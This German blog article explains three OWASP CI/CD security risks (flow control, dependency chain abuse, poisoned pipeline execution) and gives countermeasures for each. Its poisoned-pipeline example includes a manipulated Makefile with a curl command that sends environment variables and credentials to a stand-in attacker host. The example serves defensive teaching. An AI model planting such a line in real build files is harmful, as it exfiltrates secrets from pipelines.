Security ist längst nicht mehr nur ein Thema für Spezialisten – es betrifft uns alle. Die Angriffsflächen werden größer, die Angriffe raffinierter. Ständig liest und hört man Schlagzeilen über neu entdeckte Bedrohungen und (Cyber-)Angriffe, die sowohl die Infrastruktur von großen Unternehmen als auch kleinste IoT-Devices im heimischen Wohnzimmer betreffen. Welches Ausmaß dies nehmen kann und mit welcher teils akribischer und perfider Energie vorgegangen wird, haben nicht zuletzt die Fälle der „xz utils backdoor“ und „Log4Shell“ gezeigt.
Heute wollen wir uns einem Bereich widmen, den man möglicherweise nicht unmittelbar auf dem Schirm hat, wenn man über das Thema Security nachdenkt: DevOps. Denn das Herzstück moderner, erfolgreicher Softwareentwicklung, das u.a. auf die Automatisierung von Build, Test und Deployment mittels CI/CD setzt, steht nicht nur für Geschwindigkeit und reibungslose Prozesse. Es birgt durch seine große Popularität auch Risiken: Wo früher manuelle Prüfprozesse eingebaut waren, entscheiden heute wenige Klicks oder automatische Commits darüber, was live geht. Die zu Grunde liegenden Tools und Prozesse können selbst zum Einfallstor werden.
Welche Gefahren lauern konkret? Das zeigt ein Blick auf die OWASP Top 10 CI/CD Risks. OWASP, das Open Worldwide Application Security Project, ist eine weltweit anerkannte, gemeinnützige Organisation, die 2001 gegründet wurde und sich der Transparenz und Verbesserung von Software-Sicherheit verschrieben hat. Ihr Ziel ist es u.a., allgemeingültige Standards im Security-Bereich quelloffen und transparent zu entwickeln.
Drei besonders gefährliche Bedrohungen nehmen wir in diesem Artikel genauer unter die Lupe – mit Beispielen, Angriffsszenarien und konkreten Gegenmaßnahmen.
1. Ungenügende Flow-Kontrolle – wenn der Pfad zur Produktion kompromittiert wird
Die Produktionsumgebungen selbst sind in der Regel sehr gut abgeschottet, gesichert und stark reglementiert. Im Idealfall sind sie über manuelle Interaktionen oder für einzelne Personen nicht erreichbar. Aber was ist mit dem Weg dorthin?
CI/CD Prozesse setzen auf Automationen, Geschwindigkeit und Vertrauen. Ein Commit kann eine Pipeline triggern, Tests laufen automatisiert und der Code geht in Produktion, oft in wenigen Minuten. Und genau hier liegt der Gefahr. Denn wenn ein Entwickler innerhalb von Minuten deployen kann, dann kann ein Angreifer es auch.
Daher liegt der Fokus bei diesem Angriffsszenario nicht auf dem Produktivsystem selbst, sondern auf den Komponenten auf dem Weg dorthin. Wenn es ein Angreifer schafft, irgendwo im CI/CD-Prozess Fuß zu fassen, z.B. im Artefakt-Repository, liegt der Weg zur Produktion quasi offen und schadhafter Code kann so eingeschleust werden.
Beispielhafte Angriffsvektoren für dieses Szenario
- Manipulierte Artefakte im Repository, die wie reguläre Build-Artefakte aussehen.
- Code in einen ungeschützten Repository-Branch pushen, der automatisch von der Pipeline nach Produktion deployt wird.
- Code in eine Utility-Library pushen, die von Produktionscode genutzt wird.
- Branch-Protection umgehen, sodass z.B. bestimmte Branches oder Personen vom Review-Prozess ausgenommen werden, um über diese den schadhaften Code einzuschleusen oder gezielt Accounts mit zu vielen Rechten angreifen.
- Ausnutzen von Auto-Merge-Regeln, bei denen Pull-Requests automatisch gemergt werden, wenn bestimmte Voraussetzungen erfüllt sind. So können z.B. „harmlos wirkende“ kleine Änderungen, die nur wenige Zeilen Code beinhalten, automatisch durchgewunken werden, über die ein Angreifer schadhaften Code einschleust.
Was hilft konkret?
- Sorge dafür, dass kein einzelner Nutzer in der Lage ist, ohne Review kritische Code-Änderungen oder Artefakte in produktionsnahe Pipelines pushen kann.
- Wenn die Notwendigkeit dafür dennoch besteht, dann sorge dafür, dass CI-Trigger und Push-Rechte voneinander getrennt sind, sodass diese Nutzer nicht auch noch die Deployment-Pipeline triggern können.
- Überprüfe regelmäßig deine Auto-Merge Regeln, um sicherzugehen, dass sie nicht umgangen werden können und nutze Auto-Merge restriktiv nur unter großer Vorsicht.
- Nutze keinen 3rd-Party-Code im Auto-Merge-Prozess.
- Nutze gesicherte und beschränkte CI-Service-Accounts, um Artefakte zu bauen und hochzuladen, die automatisch in der Pipeline verwendet werden.
Man sieht also, dass hier voll-automatisierte Deployments das Risiko erhöhen. Ein einfacher Review-Prozess zwischen dem Push von Änderungen ins Remote-Repository und dem Triggern der Pipeline kann dieses Risiko bereits drastisch minimieren, um Zeit gegenüber dem Angreifer zu gewinnen.
2. Dependency Chain Abuse – Prüfe deine Abhängigkeiten
Heutzutage benutzen Software-Projekte viele externe Bibliotheken und Paketquellen, die z.B. mittels pypi
heruntergeladen werden können und die man ganz natürlich, ohne groß zu hinterfragen, nutzt. Ein pip install
hier, ein npm install
dort und schon hat man im Hintergrund schadhaften Code laufen. Man kann sich das deutlich vor Augen führen, wenn man sich selbst überlegt, wieviel Vertrauen man eigentlich einem Befehl wie pip install Paketname
schenkt und wie wenig man hinterfragt, was im Hintergrund eigentlich genau geschieht.
Und das Schlimmste dabei: Kompromittierte Pakete funktionieren auch weiterhin einwandfrei – sie tun nur nebenbei noch etwas anderes.
Genau darum geht es also in diesem Angriffsszenario: Es besteht das Risiko, dass beim automatisierten Herunterladen auf Entwicklerrechnern oder in CI/CD-Systemen manipulierte, schadhafte Pakete geladen und ausgeführt werden. Dadurch kann z.B. Zugriff zu anderen Systemen erhalten oder es können sensible Daten abgegriffen werden.
Dabei existieren verschiedene, bekannte Angriffsmethoden:
Dependency confusion
Dies bezeichnet die Veröffentlichung von schadhaften Paketen in öffentlichen Repositories mit demselben Namen wie intern innerhalb der Organisation verwendeten Paketen. Oftmals besteht ein Setup aus einem lokalen Artefakt-Repository bzw. Proxy, in dem ein verwendetes Paket gespeichert ist. Dies sorgt für ständige Verfügbarkeit, das Umgehen von Rate-Limits, schnellere Abläufe und Reproduzierbarkeit von Deployments. Wird eine Abhängigkeit abgefragt, die neuer und daher noch nicht im lokalen Repository vorhanden ist, dann wird bei entsprechender Konfiguration auf das öffentliche Repository zugegriffen und das Paket mit schadhaftem Code heruntergeladen und unbemerkt in das System eingespielt.
Wie kommt ein Angreifer aber zu den Informationen, welche Abhängigkeiten im Code verwendet werden? Das kann auf verschiedene Arten erfolgen:
- Es können Dependency-Dateien in öffentlichen git-Repos gescannt werden.
- Es kann nach Funktionen gesucht werden, die auf mögliche Abhängigkeiten hindeuten, wie z.B.
import('dep_path')
. - Über regex-Suchen
- oder einfaches Raten, wie z.B.
Firmenname-utils
.
Dependency Hijacking
Dies bezeichnet die Übernahme der Maintainer-Konten eines echten, öffentlichen Pakets und die Veröffentlichung einer manipulierten Version. Besonders betroffen von diesem Szenario sind diejenigen, die keine feste Version, sondern die „latest“ Version eines Pakets verwenden.
Typosquatting
Das bewusste Nutzen von Verschreibern und Tippfehlern, die dem echten Namen teils zum Verwechseln ähnlich und nur schwer zu entdecken sind. So konnte z.B. das jeIlyfish
Paket, eine Abwandlung vom offiziellen jellyfish
, über ein 1 Jahr mittels pypi heruntergeladen werden, bevor es bemerkt und entfernt wurde.
Brandjacking
Imitierung und Veröffentlichung von Paketen mit Benennung zu bekannten, intern verwendeten Marken, wie z.B.
. Führt man nun Firmenname
-utilspip install
aus, wird dann das kompromittierte Paket heruntergeladen.Firmenname
-utils
Gegenmaßnahmen zur Minimierung der Bedrohung
- Keinen direkten Zugriff auf 3rd-Party Pakete über das Internet, sondern nur auf vorgeprüfte Pakete, z.B. über einen internen Proxy bzw. intern freigegebene Repositories, zulassen.
- Vermeidung von latest-Versionen, dafür Nutzung von festen Tags.
- Isolierung von Installationsskripten, um Zugriff auf Secrets oder andere sensible Daten zu vermeiden.
Da ein vollständiger Schutz in diesem Bereich kaum möglich ist, sollte immer zusätzlich vernünftiges Monitoring und Logging die Absicherung unterstützen, um Bedrohungen rechtzeitig erkennen und Maßnahmen ergreifen zu können.
Viele dieser Angriffe bleiben über Monate unentdeckt. Der Fall der oben bereits angesprochenen xz-utils-backdoor fällt in genau dieses Szenario.
3. Poisoned Pipeline Execution – die Pipeline als Bedrohung selbst
Selbst ohne direkten Zugang zum Build-System selbst kann ein Angreifer Schaden anrichten, wenn er es schafft, den Code zu beeinflussen, der die Pipeline ausführt bzw. der von der Pipeline ausgeführt wird, z.B. über einen kompromittierten Account. Dabei unterscheidet man drei Varianten:
Direktes PPE
Beim direkten PPE werden Build-Konfigurationen wie z.B. eine Pipeline-Konfigurationsdatei selbst manipuliert. Durch Push in einen nicht geschützten Branch wird der schädliche Code ausgeführt, sobald die Pipeline läuft. So kann z.B. Code in ein Jenkinsfile geschrieben werden, der Secrets ausliest und ausgibt, obwohl Zugriff auf die Secrets selbst nicht möglich ist.
Indirektes PPE
Bei indirektem PPE werden Dateien manipuliert, die von der Pipeline ausgeführt werden, wie z.B. Skripte, Code-Tests oder Makefiles.
Öffentliches PPE
In dieser Variante liegt der Fokus auf öffentlichen Repositories, in die jede Person Änderungen einbringen kann, wie z.B. Open-Source-Projekte mit automatischen Builds.
Beispiel indirektes PPE: Manipuliertes Makefile
Ein harmlos wirkendes Jenkinsfile
, das die Pipeline-Konfiguration beschreibt, liegt in einem geschützten Branch. Innerhalb dieser Pipeline werden AWS-Credentials geladen, sodass sie nur für Befehle innerhalb der aufrufenden Stage zur Verfügung stehen, dort passiert also nichts Auffälliges. Außerdem werden einige Befehle per make
ausgeführt:
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
BashDas zugehörige Makefile
sieht wie folgt aus:
build:
echo "building..."
clean:
echo "cleaning..."
BashSchafft es ein Angreifer, dieses Makefile
zu manipulieren, dann können z.B die an sich vor Zugriff gesicherten Credentials an einen externen Server gesendet werden:
build:
curl -d “$$(env)" randomhackurl.com
clean:
echo "cleaning..."
BashSchutzmechanismen:
- Pipeline-Änderungen müssen immer reviewt werden
- Pipelines sollten keinen Code ausführen, der nicht reviewt wurde
- Isoliere Pipelines, die nicht reviewten Code ausführen, von Secrets oder infrastrukturkritischen Umgebungen
- Ermögliche nur den Zugriff auf wirklich benötigte Credentials
- Credentials sollten nach dem Prinzip der „minimum required privileges“ verwendet werden.
- Pipeline-Definitionen getrennt vom Code aufbewahren.
Fazit: CI/CD ist kein Freifahrtschein
CI/CD Prozesse und Automatisierungen bieten enorme Vorteile: Sie beschleunigen die Bereitstellung von Anwendungen, steigern die Effizienz von Entwicklerteams und erhöhen die Kundenzufriedenheit. Doch ohne sorgfältige Sicherheitsmaßnahmen können diese Prozesse zur Einfallstür werden. Daher gibt es auch hier, wie immer, einen Trade-Off zwischen Bequemlichkeit und Sicherheit.
Denn nur die richtige Balance aus Vertrauen, Kontrolle und Automatisierung entscheidet am Ende darüber, ob CI/CD ein kontinuierliches Sicherheitsrisiko darstellt – oder einen echten Wettbewerbsvorteil. Diese Balance muss für jede Situation neu bedacht und die Auswirkungen von Geschwindigkeit und Risiko der Angriffe evaluiert werden.